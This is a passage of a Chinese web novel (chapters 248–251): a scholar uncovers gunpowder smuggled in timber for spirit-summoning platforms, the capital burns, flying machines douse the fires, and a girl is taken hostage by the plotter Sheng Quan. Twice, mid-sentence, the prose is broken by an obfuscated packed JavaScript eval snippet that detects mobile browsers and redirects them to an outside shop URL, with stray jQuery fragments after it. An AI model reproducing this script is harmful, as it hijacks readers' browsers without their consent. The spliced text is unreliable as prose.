寒期起拍了拍方平的肩膀:“季公子的本事你还不清楚?算无遗策。这事她省得的。” * 寒期起明白的事,郭学林想了许久才想明白。 眼下这三千匹马根本不是他应该思考的重点,其实他有一个很明确的目标,那便是一直平步青云升到工部左侍郎的纵尚。 这人是摆在明面上的同伙。 他背后一定还有其他的人。 北寰双子被禁足的这几个月,郭学林一直在明里暗里观察纵尚。 他每日都按部就班的到部里点卯。 工部的邸报与批文在翰林院都有存档。 郭学林在翰林院都快把最近工部的邸报与批文翻烂了,也没找到纵尚一点点不守规矩的动作。 好似所有的事情都在北寰双子被羁押之后停顿了。 一直到年底,朝堂上都再也没有起任何风波。 北境节度使陈平安排好城防,终于赶在年关之前回到了许都述职。 乌族三王子漠勒一直住在宫里,也没回北境。 许都静得可怕。 一切都像是暴风雨之前的宁静,所有人都在等着什么一般。 * 凌芷自上次跟北寰言吵了一架之后,就再也没去找过北寰言。 真是奇怪。 临府才多大一点,即便是她不主动找北寰言,也不可能几个月都碰不上面。 凌芷想着那日自己推了一把,把北寰言推倒在地,一直心存愧疚。 可她心里有怨念,总觉得哥哥回不来,跟言哥哥有关。 而言哥哥骗她——他没有保护好他身边所有的人。 哥哥、舞姐姐、时哥哥、郭哥哥都不见了。 药田里的曼陀罗已经长成,预示着她培育的曼陀罗在东陵这片土地扎根,许多平民百姓用不起的方子,终于可以普及下去。 这原本是一件高兴的事,可凌芷怎么也高兴不起来。 她看着满园的草药,竟然有种想哭的冲动。 如果哥哥在,他一定会一边不屑地说这有什么难,还会一边揉着她的头跟她说辛苦了。 哥哥就是这样一个人。 明明喜欢她喜欢得要死,偏要装出一副不在意的样子。每次都惹她生气,惹她哭,可看她被欺负了,还是会义无反顾站住来帮她。 如果舞姐姐在,她一定会说,小芷真厉害。 如果言哥哥在…… 言哥哥在的。 凌芷往蔚兮堂方向看去,不知道为什么,她就是不肯先跟北寰言服软,先去找北寰言。 这么久了,北寰言也没来找过她。 若是以前,言哥哥看她哭着跑开,早就过来哄她了。可那日她在蕊仙殿里哭了一宿,都没等到言哥哥来哄她。 他没来,是不是说明他其实早就厌倦了她这种无理取闹的哭闹呢? 凌芷又不争气地掉了几滴眼泪。 她连忙用衣袖把眼泪擦干。 哥哥不在了,她要坚强起来。 凌芷吸了吸鼻子,看了一眼满药园 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13408708|127709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的曼陀罗,想了一会儿,才开始动手把这些草药摘下来。 卫昭换班回后院休息,看见凌芷小小的一个人在地里忙活,过去问:“需要帮忙吗?” 凌芷摇着小脑袋,不说话。 卫昭知道凌芷在跟公子置气。 她这几个月都没往蔚兮堂去。 北寰言这几个月一直把自己关在屋子里看书、练字,没出房门半步。他除了去陪太傅下棋还能说到两句话,他自己独处的时候,都是无限的沉默。 卫昭没看过两小孩置气,也不知道该怎么劝合。他问流云流风,那两人也是迷茫地摇头。 这小丫头,怎么会有这么长的气性。 卫昭叹了一口气,回自己屋子去了。 次日,凌芷起了个大早,她把昨日摘好的药用草绳系好,背在背上就往后院马厩去。 她找到马夫,说自己要进宫去。 马夫很是为难道:“芷姑娘,不是我不送你,而是陛下有旨,临府外面全都是侍卫。我们出不去啊。” 凌芷眨了眨眼睛,认真道:“陛下禁了言哥哥的足,又没有禁我的。为什么我不能出门?” 马夫也是一愣,发觉凌芷说的有道理。 凌芷说着便拉开后院们,找到院子侍卫,仰着头问:“侍卫哥哥,我能出府吗?” 来守临府的侍卫都是禁军抽调来的。他们知道这个小姑娘是凌信的妹妹凌芷。 陛下有旨不让北寰言出门,可没说这个小姑娘不能出门。 凌芷把背上背着的草药拿下来,给这些守卫看:“我把曼陀罗培育出来了。我要把这些草药送进御医院。” 侍卫们面面相觑,有些不知所措。 凌芷又从怀里拿出一本手写的册子:“这是我的栽培日记,我要也要送进御医院给医正。我师父说,种出来一定要日记交给御医院,让他们帮我在全国推广开。师父说这是造福百姓的事。” 侍卫们摸着头,一脸作难的样子。 凌芷最后从怀里摸出许景挚亲赐的金玉牌:“我有陛下给我的牌子,也不行吗?” 一个侍卫问:“这件事很紧急吗?” 凌芷连连点头:“很紧急。这药必须春末夏初播种,长半年才能长成。再有几天就年关了,过了年关,就开春了。我如果不把这册子送到御医院,就没办法赶在春末前推广下去。这是一味很重要的草药,若是推广下去,每年可以救很多很多人!” 那侍卫想了想道:“我帮你送进宫,行吗?” 凌芷抱着自己的手记连连摇头:“不行。手记就这一本,我要亲自送去。” 这小丫头眼神清澈,不像是有预谋的样子。 侍卫也只好妥协说他派人护送凌芷入宫。 卫昭轮值的时候跟北寰言说凌芷出门了。 北寰言按下笔,怒道:“谁让她走的?!” 卫昭道:“凌姑娘背着草药,拿着培育手记,让后院的侍卫送她入宫……” 北寰言推开椅子,跑得飞快到后院。 凌芷的马车刚好出门。 “凌芷!” 北寰言远远地喊了一声。 凌芷坐在马车里听见了北寰言喊她,可她握紧了小手,没有理会。 248. 端倪 她要进宫去见哥哥,她要知道哥哥到底为什么这么久都没有回来。 言哥哥不跟她说,她就自己想办法。 北寰言见凌芷马车越行越远,急得要追去,却被侍卫们拦住:“言少卿不要为难卑职。” 北寰言知道自己出不去,忙道:“我让我的亲卫跟着她!我不出去!” 侍卫们摇头:“陛下口谕,言少卿的亲卫也不能出去。” 北寰言怎么也没想到凌芷竟然会在这个时间点进宫去。她进宫不找他商量,自己就做了。 北寰言很是后悔,应该早点来找她,不该放她一个人胡思乱想。北寰言总觉得凌芷是小孩子脾气,只要过几天,她就会忘记会过来找他。 不曾想,这次凌芷不仅不来找他,都开始自己拿主意了。 凌芷长大了,她想凌信,她知道现在局面,他无能为力,所以才自作主张地出去。 北寰言深吸一口气,压住心口的慌乱。 凌芷进宫是去找凌信的,她那死心眼的性子,一定会跟凌信一起住在宫里。 只要她跟凌信在一起,就不会有危险。 北寰言这样想着,强行压住自己心里的不安。 北寰舞也在宫里,凌芷应该会没事的…… * 凌芷入宫以后,一直都有陌生的内官不远不近地跟着。 跟着她的小内官要帮她背草药她也不肯,死死地把手记抱在怀里。这是她第一次自己进宫,以前进宫总有卫昭跟在身边,她没这么怕过什么。 现在她自己进来,全是陌生的面孔,心里不由地发憷。 越是害怕,她就越想哭。 可她就是因为遇事老哭,不想办法解决,言哥哥才不理她。 她悄悄地把眼泪蹭在衣服上,继续往御医院走。 前方有人被簇拥着从门洞里出来,凌芷不自觉停下脚步。 等被簇拥的那个人侧过头来,她才看清楚是四皇子许承长。 凌芷终于看见一个熟人了,心下一喜,刚露出笑容想要跟许承长打招呼,却不想许承长看见她,只是微微一愣,便慌忙躲开了。 凌芷没想到许承长会躲她,顿时撇了撇嘴,又想哭。 她站在原地好一会儿,才重新抬脚往御医院去。 她低着头,心里很难受。 以前她进宫的时候,宫里人遇见她都向她行礼。 今天她进来,不仅宫里的内官宫女没人看她一眼,就连许承长也唯恐避之不及。 哥哥他……一定犯了很严重的错罢。 凌芷越想越着急,越着急就越想哭,可她不能哭,眼睛里塞满了眼泪。 “凌姑娘。” 凌芷没听见有人在喊她,只是闷着头往御医院走。 “凌姑娘。”那声音近了许多。 凌芷听见了,她停下脚步,回头看见一个眼熟的内官。 那内官身后跟着一群内官,缓缓向她走来。 凌芷擦了一把眼泪,不自觉地往墙根靠去。 那内官走过来,看见凌芷有些害怕,轻轻笑了起来,从衣袖里拿出一方帕子,蹲下把帕子递给她,道:“凌姑娘,还记得奴吗?” 凌芷看了看那方帕子,又看了看这个人。 好一会儿她才轻声道:“是内务府的白内官吗?” 白成轻笑,把手帕递了过去:“擦擦,脸上都是眼泪。” 凌芷抿着唇,不肯接,问道:“你跟我说话,不怕惹麻烦吗?” “麻烦?”白成笑着望着她,“为什么会有麻烦?” 凌芷跟白成不算熟,可在宫里,她也没跟几个人说过话。 上次她查陛下中毒的案子,去过内务府。 白成带她去内务府后院里等陛下下朝,还给她准备了好吃的糕点。 算是有几面之缘的人。 现在哥哥被圈禁在宫里,所有人对她都避之不及,白成看见她哭还特地过来给她递手帕。 凌芷慢吞吞地接过那方手帕,轻轻道了声:“谢谢。” 白成看着凌芷擦脸,问:“凌姑娘这是要去御医院?” 凌芷点点头。 白成看她把脸擦干净了,便起身,对她躬身一礼:“奴送姑娘去御医院罢。” 凌芷眨眨眼睛,没有拒绝。 白成在前面引路,凌芷就跟在后面。 跟了好一会儿,凌芷忽然快走两步,轻轻地抓住白成的衣袖,小声问:“白内官能带我去见见哥哥吗?” 白成停住脚步,侧头看向凌芷。 凌芷仰着头,梨花带雨地小声问:“可以吗?” 白成看着凌芷这可怜的模样,轻叹一声,没有立即答应,只是回道:“奴可以试试,但是不保证能成功……” “谢谢你!”凌芷抓紧了白成的衣袖。 白成翻过手,凌芷看了看白成,有些犹豫地把手递了过去,牵住了白成的手。 * 崂山是兵部在许都十里开外专门用来打造秘密武器的地方。 这山里几乎被掏空了。 时均白被送到这里之前,许景挚说的是戴罪立功。 这里现在正在做的就是制作能载物飞天的风隼。设计图是时均白带来的,建造风隼理应由他监工。 四个月的时间,崂山造出了四台风隼。 时均白正在爬上爬下检查风隼各个连接处是否坚固。 “大公子,下来喝口水罢。”时秋谍站在风隼下端着一碗清水。 时均白擦了擦额头上的汗,从风隼控制室里钻出跳下来,接过水,一边喝一边仰头看着这架风隼。 “如何?”时秋谍问,“这四台风隼能否可以准备试飞了?” 时均白摇头:“我方才检查机括口,发觉有些小机括装反了,得矫正过来。” 时秋谍点头:“这风隼大的部件好造,就是小的部件难得查看。即便是时家最厉害的工匠,也难保不出错。” 时均白道:“风隼一共有一万三千六百七十二个小零件,确实太多了。” “哎,我还没问你呢。”时秋谍眯着眼轻笑,“你跟长乐郡主……” 时均白蹙眉看向时秋谍。 时秋谍摸着风隼的身舱,笑道:“谁能想到,这风隼的问世,竟然是一个情种为了自己喜欢姑娘的一句期许,另一个情种为了自己喜欢的姑娘做了上百个小模型,花了整整十年的时间打磨成的?” 时均白不想说话。 时秋谍回身问:“时寻那家伙怎 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哪里都是干冷干冷的。 北寰舞坐在画雨轩的院子里,裹着狐裘大氅,轻叹:“今年不落雪,来年百姓日子难过了。” * 郭学林还在翰林院没有走。 明日就是祭祀大典,他不信对方费尽心机建立招灵台,陷害安王府之后没有其他的动作。 安王妃的鱼饵明明已经放下,为什么鱼儿还不咬勾?! 郭学林头疼欲裂,他按住太阳穴,闭目养神。 许都无事的这四个月里,郭学林殚精竭虑都没有找到那个能把所有事件串起来的绳索。 他甚至开始怀疑,到底有没有那个人存在。 还是整件事真的如陛下所想,全是安王府的算计? 郭学林站起身,没注意到衣袖被厚厚的书册压住,抽离的时候拉倒了一摞书。 在一边伺候的内官见书落了一地忙不迭的要去帮郭学林收拾。 郭学林摆手,让那内官退下,自己蹲下去拾起一册书。 那书册翻开的一页记录的是工部三月建招灵台,运输木材的记录—— 一千斤的木头,用了三辆马车。 三辆?三辆?! 有什么东西在郭学林脑中一闪而过。 他立即把地上摞在一起书全部推开,大喊道:“来帮我找!” 在一边的小内官忙不迭也跟着跪下问:“郭学士,要奴找什么?” “帮我找今年九月、十月、十一月工部建超灵台运输木材的记录!就在这里面!”郭学林一声怒吼,吓得那小内官,连忙跟着一起翻找起来。 很快那小内官就找到了一本书册,拿起来道:“这是十月的……” 郭学林一把抢过来,翻开速速扫了一眼,而后狠狠地把册子合上,极近疯魔一般喃喃自语:“原来是这样!原来是这样!对方想要的原来是……” 郭学林话音未落,就听“轰隆”一声巨响,宛如在耳边炸裂。 249. 招灵台 小内官吓得跌坐在地,郭学林却不管不顾地把两本书册揣进怀里,爬起来就往宫里跑。 许景挚也听见了声音,从御书房起身。 徐迎从外面匆匆进来,欠身道:“是宫外……” 许景挚顾不得穿衣,蹬上靴子就往外走。 徐迎连忙让身后的小内官把龙袍拿上,一边跟着许景挚往外走一边给他把衣裳穿上,最后还给他披上了大氅。 出宫的路上,许景挚遇见来飞奔而来的郭学林。 郭学林见到许景挚根本来不及下跪见礼,他扶着宫墙,深吸一口气稳住心神,大声道:“陛下,立即让禁军去看宫外的四处招灵台,让御林军去看宫里的招灵台……” 话音未落,宫外又传来一声巨响,地面立即一震,随之而来的便是宫墙外火光漫天。 许景挚给江湖江海一个眼色,两人立即麻溜地退下去办事。 许景挚示意郭学林跟着他,一群人往宫门城墙上疾行。 两人爬上城墙,站在高处才看见城里已经起了两片火海。 皆是招灵台所在的方位。 火势蔓延得极快,人潮在往皇宫里奔涌。 郭学林一拳打在城墙上,怒道:“臣无用,直到方才才参透对方想利用招灵台做什么!” “你是怎么发现的?”许景挚站在城墙上,睥睨众生。 郭学林回道:“拉木头的马车数量不对。三月一万斤木头,用了三辆马车,到了十月一万斤木头用了五辆马车!说明木头的单个重量变重了,用的马车才会变多。 “而且这次十月这次木头,是从西境林场拉来的。 “陛下,黑市西境丢的那批硝石被做成了火药,塞进了这些木头里,又偷偷地运回许都了! “对方处心积虑沉船偷硝石、生灵涂炭杀害那么多漕工建招灵台,就是为了今日炸许都的行动!” 城墙下整个许都水龙车都已经出动,可火势还是以肉眼可见的速度在许都宅子里蔓延。那仿佛是一条带着怨气的火龙,准备用它的炙热暴躁的吞噬一切。 许景挚冷冷地看着,一言不发。 * 宫里的招灵台上也站着一个人。 那人身着四品官袍,手持火把。 火把照亮了他的脸。 今夜无光,纵尚很容易就眺望到宫外因为爆炸而腾起的火光。 这样看着,黑夜宛若一颗硕大的陨石,带着火焰徐徐下落,把所有火光挤压。 他的身后传来脚步声,他没回头,轻声问:“你要来亲自行刑吗?” 那人藏匿在火光照不到的地方,绕到了纵尚面前,接过那个火把,低声道:“辛苦你了。” “这是我应该做的。”纵尚后退一步,让开招灵台上点火的位置。 那拿着火把的手,缓缓靠近点火台。 只要这一把火下去,这皇宫就会毁于一旦。 什么九五之尊,什么真龙天子,都抵不过这些真正埋在地下的火药。 “呵呵……”那人开始强忍着笑意,偷偷窃喜,最后终是忍不住,放声大笑,“哈哈哈哈——你们要我生不如死,我便要你们都跟我去陪葬!!!” 火把离手,坠入火盆。 被火光照得变形的脸,异常狰狞。 “咣当”一声,火把落入火盆,那人瞳孔在火光中透出狂妄的光。 笑声越来越小,直至消失。 那人睁大双眼,看着那火盆——什么事都没有发生。 下一瞬只听“嗖”的一声破空之声追来,一箭射在了那人肩膀上,弓力直直把那人带出去一丈远。 再抬眸,那人看见招灵台不远处的屋檐上站着一个身着劲装的女子,那女子手上拿着一把银色小弓,在逐渐出现的月光下闪着银光。 那女子身边站着一个碧衣少年,那少年双手拢在衣袖里,目光淡然地望着他。 “你们!”那人发出一声惊呼 北寰舞与北寰言一起从屋檐上一跃而下。 那人看见了北寰舞带在右手上用来拉弓的白玉扳指,那是许安归的东西。 北寰言缓步上前。 明月刚刚从云后探出半个身子,月光如水一般敛入了北寰言的双眸,他淡淡道:“白成。或许我该称呼你为,前任刑部尚书之子,盛泉。” “你背叛我!” 白成人甩头看向站在一边的纵尚。 纵尚眼波无色地回道:“这算是哪门子的背叛?我们不过就是因利而合罢了。谁能给我更大的利益,我便跟谁合作。” “你!”白成死死地摁住肩膀,一声咆哮之后,又转而大笑起来,“你们以为我布了十六年的局,会输在这一招?!你以为今日我无法点燃这招灵台,你们就能就此安生?! “哈哈哈哈……你们休想!” 于此同时城外发出爆炸声响,就连皇宫里的招灵台也为之一震! 北寰言与北寰舞诧异地对视,但很快就镇定下来,盯着白成。 白成极尽狰狞的狂笑:“南泽旧部名单在我这里,西域联军已经开始屯兵准备攻城,北境乌族二王子漠齐澜不会对漠勒手软,他也一定会奋勇北伐!三境大军压境,我倒是要看看你们能撑到几时! “即便是我这里点不了招灵台无法引爆火药,其他那四座建在皇城内的四座招灵台也会炸裂。整个许都都会陷入一片火海! “许都那四座招灵台早就堵住了四方城门,哈哈哈哈——没有人可以逃出去,没有人!” 白成沾沾自喜,他在为自己自导自演的戏狂欢。 但他看见北寰言那淡然的眸子时,那狂妄一世的样子瞬间哑然。 他看不见北寰双子有什么触动。 只看见他俩神色淡然地凝望着他,眼睛里满是嘲笑。 北寰舞嗤笑开口:“如果你说的是西域联军的事,我可以告诉你西境的局已经不在你的掌握中了。 “西境勤王府世子已经找到了藏在勤王府的细作,你们费尽心机给世子妃束茗做的身份也被她识破。你们想要她带着商禄王朝的玉玺引来西域联军攻打西境这事,已经不可能了。” 北寰舞冷笑着望着白成:“你这么聪明,布了这么大的棋局。难道就没想过哥哥为什么要蔚巡生把商禄王朝的玉玺带回去吗?” 白成气息逐渐加重,他心跳如雷。 北寰舞把白成慌乱模样尽收眼底:“那是给西境勤王府细作一个诱饵,逼他 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北寰言跟着上前一步,努力压着自己声音:“盛泉!你大势已去,还不束手就擒。你以为你绑了凌芷就能从皇宫里出去?你别太天真了!” 盛泉嗤笑:“我罪孽滔天,本来也没想活。可我活不了,也能拉一个人一起下地狱!北寰言!我要你一命换这姑娘一命!你换还是不换?!” 北寰言一言不发,盛泉立即拿着刀刃在凌芷脖颈处划出一条血痕厉喝:“北寰言,我要你的命换凌芷的命,你换还是不换?!” 北寰言看见凌芷脖颈处有鲜血顺着匕首锋刃,一滴滴落下,当即扬手从腰间抽出飘渺剑。 盛泉已经拖着凌芷推到了招灵台边缘,他没见过北寰言的武器,却也猜到北寰言一定会武功。 北寰言向来行事利落,他抬起飘渺剑放在自己脖颈处,毫不犹豫地递了进去。 “哥!” 北寰舞没想到北寰言这么决绝,竟然真的想要送死。 盛泉看见北寰言脖颈处被飘渺剑划出一道血痕,当即哈哈大笑起来。 可笑声还没出口就见一道红光划破天际,从天而降,一剑刺穿盛泉拿匕首的右手。凌信猩红的眸子从盛泉身后显出,他手上的剑早就因为灌输了内里,而变得通红。 这是凌信这些年始终没有突破的飘渺剑最后一境,阳寂。 凌信一剑挑飞盛泉一条胳膊,血水如泉水一般奔涌出来。 凌信回手一针下去,便止了盛泉的血。 可凌芷却没人接,跟着盛泉那条胳膊一起,从招灵台上掉了下去。 北寰言见凌信一招得手,当即脚下用尽全力一跃而出,跟着凌芷一起跳了下去,一把拉住凌芷,翻身把她护在怀里,跟着她一起掉在了招灵台下面灌木丛里。 北寰舞也跟着一起跃了出去,到底是慢了北寰言一步,眼睁睁看着他带着凌芷落下。 北寰言背后着地,发出一声闷哼。 背后已经痛得没有知觉,却还是对艰难地对北寰舞喊道:“去看看宫外到底是怎么回事!” 北寰舞趴在招灵台上确认北寰言无碍,担忧地看了一眼凌信。见他把盛泉按在地上,没下杀手,当即折身,往城墙跑去。 250. 盛世 北寰舞跑上城墙的时候满城烨火正在吞噬大片的房屋。皇宫城门下已经聚满了从火焰中逃出来的百姓。 空气中到处都弥漫着烧焦的味道。 这场大火铺天盖地,把整个许都都照得通明。 北寰舞沿着城墙跑了几步,发觉火势越来越大。水龙车根本不够用,火势眼看就要控制不住。 北寰舞愤怒地拍了一城墙,暗道,流云流风卫昭不是已经去把招灵台火药引子给断了吗?为什么还能起爆?! 就在这时北寰舞听见了巨大的风鸣声从远处而来。 她蹙眉想了一会儿,顿时眼神放光,一跃跳上城墙,眺望火光深处。 风鸣声越来越近,终于冲破烟雾尘埃,出现在许都上空。 那是…… “风隼!是风隼!”北寰舞激动地大喊。 她看见四台巨大风隼从天空掠过,顷刻间就洒下如瀑的水,浇灭了许多蔓延的火势。 城内大火,灼热的气流托着这些风隼一直盘旋不落。 一架风隼向着北寰舞飞来,北寰舞看清那风隼驾驶是时均白! 她挥舞着手,在城墙上奔跑,一边跑一边指向前方:“暮风,这里!暮风——” 时均白看见自己心爱的姑娘穿着红衣,在城墙上飞奔,当即掉转风隼沿着城墙滑翔。 北寰舞追着风隼,找准机会,就在风隼要升起的那一瞬间,一跃而下,跳到了风隼上。 时均白立即调整.风隼的角度,卡主风隼操作盘,抽出银鞭翻上风隼,接住北寰舞,把她带到了风舱里。 “后面有洒水的开关!你去洒水!”时均白说着又回到驾驶室,往火势最大的地方飞去。 这原本是用来巡航北境草场的风隼,四个月没飞起来。 时均白竟然在这个时候,带着这些风隼来了。 皇宫城门前的百姓看见天空中有巨大的“鸟”盘旋在许都上空灭火,不由得欢呼:“上天派神鸟来救我们了!上天派神鸟来救我们了!吾皇是真龙天子,吾皇万岁!” 有一个人跪下向着站在城墙上的许景挚下跪,立即就有千千万万个人争相效仿。 一时间百姓跪倒一片,高呼吾皇万岁,泽被东陵。 郭学林同许景挚一起站在城墙上,看着全城百姓虔诚地朝拜,看着许景挚一脸威严地接受万众朝拜,好像忽然明白了什么。 * 天光初现的时候,许都重归平静。 许景挚站在皇宫城墙上看建在许都四方的招灵台,久久不语。 他清楚地知道,即便是登台祭祀之后依然会有人记住他执政得失—— 但经过真龙天子召唤“神鸟”从天而降,拯救万民与水火这件事后,就再也不会有人再诟病那些因为他失察而惨死的南泽漕工们。 这便是他真正要祭奠的东西。 什么工部左侍郎,什么前任兵部尚书盛之子盛泉,什么十六年的棋局,都不如他身为帝王的威信来得重要。 他既要许家天下繁盛,还要自己成为东陵史书上的千古一帝。 东陵百年盛世要在他的手上开始,没有人能阻挡他封禅的脚步。 招灵台祭祀的是死人,可他要祭祀的是这些活着的人的人心。 * 十天后,朝堂重开。 重犯盛泉断了一根胳膊,被压上了议政殿。 那一晚,北寰言抱着凌芷从招灵台上落下,摔断了一只胳膊、三根肋骨在家休养。 长乐郡主带着北寰言的奏折上朝,宣读盛泉犯下的罪。 其罪行涛涛,罄竹难书—— 南泽王谋反案,锦妃设计西境勤王府一案,刘谦下毒全城瘟疫案,江南漕运一线漕工惨死案就这样浮出水面。 时间跨度之大有十六年之久。 涉案官员之广,几乎要了东陵官场半壁江山。 这些在明里暗里帮助盛泉的人,都是永承太子(许安泽)在位时期投靠他的官员。 盛泉之所以能调动这些人,只是因为他父亲盛明州手上有这些人的把柄。 这些人是永承太子留下来的关系网。 北寰舞一口气念完,朝野静默。 几乎所有的老狐狸都听明白这件事的始末—— 看上去像是盛泉为了复仇布了一场局让东陵陷入巨大危机,实则是许景挚将计就计顺势拔出旧太子留在朝廷里的那些关系。 盛泉望着坐在龙椅上的那个人哈哈大笑:“许景挚,当年你还是宁王的时候,即便是皇亲贵胄又如何?看见我还不是不敢争不敢抢,跟个狗一样畏畏缩缩?!而今你坐在那个位置又如何?!还不是许安归不想要,施舍给你的东西!?你拿着别人不要的东西,装什么?!!” 盛泉将死之人,不畏惧皇权。 众臣哪敢听这等狂妄之言,纷纷跪下俯身,要许景挚息怒。 许景挚神色淡然,睨着盛泉许久,灿然一笑:“来人。” 盛泉瞳孔微缩。 “把他放了。”许景挚眯着眼,压低了声音,对着盛泉低语,“孤不让你死,孤要你一直活着。孤要你活着看着我东陵山河,万世长存!孤会派人给你吃的,养着你,看着你。让你在我东陵盛世中生,让你在这盛世中死。孤绝不会让你一死了之。” 死,在许都是一种解脱。 许景挚不让盛泉死。 他要他活着,看着他的帝国盛世如常。 他要他生不如死。 “许!” “放肆!” 盛泉当即要破口大骂,却被一边江湖按下,脸砸在地上,晕了过去。 * 临府里,北寰言卧床休息了一个月,终于躺不住,从让流云扶他起来坐会儿。 凌芷端着药进来,看见北寰言起来,立即急得直跺脚,跑过去道:“你怎么起来了?!” 北寰言面无血色,但看见凌芷来,还是轻笑着轻声回道:“躺了太久,躺不住了。” 凌芷蹙着眉,走到北寰言床边把药递给他。 北寰言用左手接过来一口喝了。 凌芷看着北寰言浑身上下都缠着纱布,小眉毛都拧成一股麻绳了。 她虽然照顾北寰言的伤势,但明显还有气,埋怨道:“怎么这么不小心,抓个犯人还能让自己伤成这样。” 北寰言颔首不言。 在一边的流云流风相互看了一眼,也低下头,不说话。 只有卫昭沉着脸对凌芷道:“凌姑娘,公子这次受伤也是为了救人。” 北寰言抬头看向卫昭,用眼神阻止他不让他往下说。 卫昭欲言又止。 凌芷看了看北寰言,又看了看卫昭,转身就跑了。 卫昭看着凌芷走了,才看向北寰言:“公子为什么不告诉凌姑娘你是怎么受的伤?” 北寰言摇头,道:“她性子软弱,若是知道我受伤因为她,恐怕要哭上好几个月。我不想看她哭。” 不想看她哭,所以不跟她说。 卫昭从来都不知道,原来公子把凌姑娘看得如此重。 凌芷一口气跑到后院药庐,找到凌信,一把抓住他的胳膊。 凌信正在给北寰言做外敷的药,被人抓住,回头看见是凌芷,问:“怎么了?” 凌芷大大地喘了一口气,问:“言哥哥到底是怎么伤的?” 凌信蹙眉,有些不耐烦地回道:“不是告诉你了吗?抓犯人受的伤。” 凌芷静静地望着凌信好一会儿,才道:“白内官就是前刑部尚书之子盛泉,就是这两年里跟你们博弈的人,也是你们要抓的人。我那日私自出府进宫想要去见你,在路上遇见了白内官。他把我带走了,后面我就什么都不知道了。他是不是抓了我,去要挟你们。” 凌信总觉得凌芷傻乎乎的,这件事随便编个谎就能把她骗过去,没想到她其实心里都清楚。 凌芷指着自己脖颈上被盛泉挟持的时候划破的地方:“我这是匕首划过的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13450363|127709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 痕迹。言哥哥脖子上那个细细的伤,是飘渺剑划过的痕迹。哥哥与舞姐姐都不可能拿着飘渺剑伤害言哥哥,只有言哥哥自己能拿飘渺剑伤自己。如果不是因为盛泉抓了我把匕首抵在我脖子,威胁言哥哥一命换一命。言哥哥怎么可能拿飘渺剑伤自己?” 凌信不言。 凌芷又撩起自己衣袖:“我胳膊上有擦伤,言哥哥背后全是这种擦痕。你们都说言哥哥是为了抓犯人受伤的。可卫昭叔叔说言哥哥是为了救人才受伤的。言哥哥受那么重的伤,是不是为了救我?” 姑娘大了,哄不住了。 凌信见她已经猜到八九分,便也不瞒她,转过身去继续研磨药粉:“你既然知道了,还问什么。” 凌芷红着眼睛问:“我给你们添麻烦了吗?言哥哥差点就死了。” 凌信没看她也知道她想哭:“要是哭能解决问题,我现在就把你眼泪掺进来做成药,给你言哥哥涂上。” 凌芷一听立即就不哭了。 凌信道:“他不跟你说,就是怕你哭。盛泉挟持你的时候,我卸了他一条胳膊,但是北寰言却是抱着你从招灵台掉下来的。多亏下面有厚厚灌木丛垫着,不然他何止只断三根肋骨一只胳膊。” 凌信讲到这里,停下手中的动作,目光没有焦点沉默了许久,才回身面对凌芷,收敛了他平日的那些玩世不恭,第一次认真地对凌芷说道:“小芷,今年你就十四了。再过一年就及笄,是可以谈婚论嫁就是大姑娘了。娘亲、爹爹从来没有逼你学过什么东西。薛灿那小老头更是疼你舍不得你吃半点苦——可你要知道,我俩都是学医的。即便是我们师从神医谷,神医谷在江湖上被人奉为长生殿,我们也有做不到的事。我们无法让人起死回生。” 凌芷抿着唇。 凌信继续道:“其实你言哥哥伤得很严重,你应该看得出来。如果不好好照看,我也不敢说他阳寿几何。他现在每天夜里胸口疼得睡不着觉,我……实在无能为力,只能让他硬熬着……” 讲到这,即便是吃惯了习武苦头的凌信,眼角也带了些湿润。 “哥哥,别说了。”凌芷低着头,“我以后再也不贪睡贪玩了。言哥哥的身子我会好好照顾的。” 说罢她又抱起一堆药罐往蔚兮堂跑。 再去的时候北寰言又睡下了。 夜里疼得睡不着,白天好些才能勉强睡会。 凌芷轻手轻脚地进去,把药罐放在桌上,又轻手轻脚地绕过屏风,到床榻边看着北寰言睡颜。 这一年,北寰言已经完全褪去了幼时圆嫩的脸庞,完全成为一个俊雅的少年了。 脸边原本圆钝的下颚,都已经开始有了棱角。 凌芷目光落在北寰言脖颈上那条几乎微不可见的剑伤。 与她脖子上的伤痕在同样的位置。 明明哥哥早有埋伏,为什么言哥哥还要自己划自己这一剑呢? 凌芷伸手,轻轻地摸了摸北寰言脖子上的那道伤疤。 言哥哥,我能不能这样自作多情一下?是不是因为盛泉伤了我,你很愧疚。所以你也要在自己脖子上同样的位置划出一道伤痕,还给我? 言哥哥。 没有人可以替代你在我心里的位置了。 可我,还是一个学什么都半吊子的笨蛋。 这样的我,怎么配得上你呢? 言哥哥,你能不能等等我。 等我到二十岁就好了。 我一定好好学医术,我会照顾你的余生,我不要你因为我折了阳寿。 言哥哥。 我喜欢你,真的真的好喜欢你啊。 凌芷望着北寰言,垂眸之间落了一滴泪在北寰言的指尖。 我以后再也不哭了。 凌芷轻轻地爬上床,掺杂着一点点私欲与害羞,轻轻地吻了吻北寰言的唇角。 然后又飞一般地逃跑了。 北寰言睁开眼,望着窗帘许久,才回过神,轻轻地摸向方才凌芷吻他的唇角。 251. 探病 “什么?!”凌信一眼不可思议地望着凌芷。 凌芷回望着凌信:“我已经跟陛下说了。陛下同意我跟着御医院的御医们去寻找适合种植曼陀罗的地方。” “不行!我不同意!”凌信当即就拍了桌子,“你一个姑娘家家的,怎么能跟一群大男人出去跑?多危险啊!” 